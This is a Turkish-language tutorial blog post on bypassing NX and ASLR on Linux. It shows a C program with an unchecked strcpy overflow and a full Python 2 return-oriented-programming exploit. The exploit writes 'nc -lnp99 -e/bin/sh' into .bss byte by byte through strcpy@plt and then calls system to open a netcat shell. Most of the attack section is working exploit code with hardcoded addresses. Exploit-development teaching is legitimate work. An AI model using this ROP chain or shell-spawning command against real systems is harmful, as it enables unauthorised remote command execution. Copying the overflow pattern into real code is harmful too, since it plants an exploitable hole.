Linux Ortamında NX+ASLR Atlatma

Bu yazımızda, Linux ortamında çalışan örnek bir c programını istismar eden bir kod üzerinde çalışacağız.

Öngereksinimler:

1) Linux makine (sanal makine de olabilir)

2) ROPgadget aracı (buradan indirebilirsiniz)

Örnek sample.c programımız aşağıdaki gibi:



#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main (int argc, char **argv){
 
    char buf [1024];
 
    if(argc == 2){
 
        strcpy(buf, argv[1]);
 
    }else{
 
        system("echo missing input");
 
    }
 
}

Veri Yürütme Engellemesi (Data Execution Prevention – DEP) güvenlik kısıtlamasını atlatmak için Return Oriented Programming (ROP) tekniğini kullanacağız. İstismar kodumuza giriş sağlayabilmek için örnek sample.c programının yazılabilir .bss alanından yararlanacağız.

İstismar kodumuzun çalışması için gereken koşullardan bir tanesi de, programın içinde system@plt ve strcpy@plt fonksiyon çağrılarının geçiyor olmasıdır (aynen yukarıdaki sample.c örneğinde olduğu gibi). Harf değerlerinden netcat sistem çağrısını oluşturabilmemiz için strcpy fonksiyonundan istifade edeceğiz:

*strcpy@plt + *pop-pop-ret + *(bss+offset) + *(char value)

Nihai olarak system@plt aşağıdaki komutu çağırıyor olacak:

**nc -lnp99 -e/bin/sh **

Endişe etmeyin, istismar kodumuzu oluştururken her şeyi daha net göreceksiniz. Dilerseniz artık başlayalım:

Öncelikle netcat komutumuzu oluşturmada gerekli olan harflerin adres değerlerine ulaşmak için aşağıdaki komutu kullanalım:

ROPgadget –binary ./sample –memstr “nc _lp9e/bish”

Netcat ROPgadget

Bir sonraki adım, güvenilir bir yazılabilir alan bulmaktır. Yukarıda da belirttiğimiz gibi, .bss alanı bunun için uygun bir adaydır:

Netcat BSS Values

Şimdi system ve strcpy fonksiyonları için Procedure Linkage Table (PLT) adreslerini gdb debugger kullanarak bulalım:

Netcat PLT Values

Son olarak da ROPgadget aracını kullanarak, POP + POP + RET çağrısı için uygun bir Assembly komutu bulalım:

Netcat pop+pop+ret

Evet, bulmacanın tüm parçaları artık elimizde. Hadi şimdi hepsini bir araya getirelim:



#!/usr/bin/env python2
 
from struct import pack
import os
 
junk = 'A'*1036 #junk to offset to stored ret
strcpy = pack("<L", 0x08048320)
ppr = pack("<L", 0x080484f7) #pop pop ret
p = junk
p += strcpy
p += ppr
p += pack("<L", 0x080496d4) #bss
p += pack("<L", 0x0804813e) # 'n'
p += strcpy
p += ppr
p += pack("<L", 0x080496d5) #bss+1
p += pack("<L", 0x0804824b) # 'c'
p += strcpy
p += ppr
p += pack("<L", 0x080496d6) #bss+2
p += pack("<L", 0x0804802a) # ' '
p += strcpy
p += ppr
p += pack("<L", 0x080496d7) #bss+3
p += pack("<L", 0x0804813b) # '-'
p += strcpy
p += ppr
p += pack("<L", 0x080496d8) #bss+4
p += pack("<L", 0x08048135) # 'l'
p += strcpy
p += ppr
p += pack("<L", 0x080496d9) #bss+5
p += pack("<L", 0x0804813e) # 'n'
p += strcpy
p += ppr
p += pack("<L", 0x080496da) #bss+6
p += pack("<L", 0x08048265) # 'p'
p += strcpy
p += ppr
p += pack("<L", 0x080496db) #bss+7
p += pack("<L", 0x0804802a) # ' '
p += strcpy
p += ppr
p += pack("<L", 0x080496dc) #bss+8
p += pack("<L", 0x080484ee) # '9'
p += strcpy
p += ppr
p += pack("<L", 0x080496dd) #bss+9
p += pack("<L", 0x080484ee) # '9'
p += strcpy
p += ppr
p += pack("<L", 0x080496de) #bss+10
p += pack("<L", 0x0804802a) # ' '
p += strcpy
p += ppr
p += pack("<L", 0x080496df) #bss+11
p += pack("<L", 0x0804813b) # '-'
p += strcpy
p += ppr
p += pack("<L", 0x080496e0) #bss+12
p += pack("<L", 0x0804825e) # 'e'
p += strcpy
p += ppr
p += pack("<L", 0x080496e1) #bss+13
p += pack("<L", 0x0804802a) # ' '
p += strcpy
p += ppr
p += pack("<L", 0x080496e2) #bss+14
p += pack("<L", 0x08048134) # '/'
p += strcpy
p += ppr
p += pack("<L", 0x080496e3) #bss+15
p += pack("<L", 0x08048137) # 'b'
p += strcpy
p += ppr
p += pack("<L", 0x080496e4) #bss+16
p += pack("<L", 0x08048136) # 'i'
p += strcpy
p += ppr
p += pack("<L", 0x080496e5) #bss+17
p += pack("<L", 0x0804813e) # 'n'
p += strcpy
p += ppr
p += pack("<L", 0x080496e6) #bss+18
p += pack("<L", 0x08048134) # '/'
p += strcpy
p += ppr
p += pack("<L", 0x080496e7) #bss+19
p += pack("<L", 0x08048142) # 's'
p += strcpy
p += ppr
p += pack("<L", 0x080496e8) #bss+20
p += pack("<L", 0x08048326) # 'h'
p += strcpy
p += ppr
p += pack("<L", 0x080496e9) #bss+21
p += pack("<L", 0x0804802a) # ' '
p += pack("<L", 0x08048330) #system
p += "AAAA"
p += pack("<L", 0x080496d4) #bss (now contains "nc -lnp99 -e/bin/sh )
 
#print p
 
os.system("/opt/ropgadget/sample \""+p+"\"")


Şimdi istismar kodumuzu çalıştırdığımızda, artık diğer bir terminalden tersine shell açabiliyor olduğumuzu göreceğiz :)

Netcat Test Exploit

Kaynaklar:

1) https://github.com/JonathanSalwan/ROPgadget

2) https://www.trustwave.com/Resources/SpiderLabs-Blog/Baby-s-first-NX-ASLR-bypass/